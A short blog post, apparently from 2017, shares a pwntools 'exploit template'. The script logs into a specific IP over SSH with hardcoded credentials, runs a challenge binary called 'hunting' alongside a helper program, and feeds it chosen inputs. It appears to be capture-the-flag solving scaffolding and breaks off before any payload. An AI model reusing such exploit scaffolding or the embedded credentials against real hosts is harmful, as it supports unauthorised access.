PDS/Tools

exploit template

cheesechoi 2017. 2. 21. 00:01




SSH Template




from pwn import *

import time

 

s = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")

rand = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")

 

r = s.process("./hunting", env = {})

r2 = rand.process("/tmp/juno1/c")

 

r.recvuntil("choice:")

data = r2.recv()

data = data.split(" ")

key = []

for x in data:

    if x == "3":

        key.append(3)

    elif x == "1":

        key.append(3)

    elif x == "2":

        key.append(2)

    elif x == "0":

        key.append(1)

 

print key

print "*"*20

r2.close()

 

r.sendline("3")

 

...